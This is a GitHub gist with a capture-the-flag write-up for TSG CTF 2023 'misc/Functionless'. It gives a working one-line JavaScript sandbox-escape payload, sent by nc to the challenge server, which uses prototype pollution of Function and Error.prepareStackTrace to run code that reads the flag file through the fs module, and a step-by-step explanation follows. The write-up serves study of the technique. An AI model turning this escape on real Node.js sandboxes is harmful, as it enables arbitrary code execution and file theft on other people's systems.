Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active November 5, 2023 12:08
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save arkark/a31f57c271e4aca4516c5a7072845aca to your computer and use it in GitHub Desktop.
Save arkark/a31f57c271e4aca4516c5a7072845aca to your computer and use it in GitHub Desktop.
TSG CTF 2023 - misc/Functionless

TSG CTF 2023 - misc/Functionless

My solution:

$ nc 34.84.217.62 30002
Welcome! Please input an expression.
> globalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call; Error.stackTraceLimit = 0; globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor; const err = new Error; err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29"; err
TSGCTF{i_like_functional_programming_how_about_you}

[undefined] {
  name: "x = (() => { const fs = process.mainModule.require('fs'); const filename = fs.readdirSync('./').find(name => name.startsWith('flag-')); console.log(fs.readFileSync(filename).toString()) })()"
}

Writeup

Step 1

globalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call;

This means Function.prototype.toString = Function.prototype.call where the Function is a host object.

By this prototype pollution, functions will be called when they are converted to primitive values.

Step 2

Error.stackTraceLimit = 0;
globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor;

This pollutes prepareStackTrace to a constructor Function.

Error.stackTraceLimit = 0; changes the second argument trace of prepareStackTrace to an empty array.

Step 3

const err = new Error;
err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29";
err

When console.log(err) is executed, Function(err, []).call() will be executed and it will show a flag!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment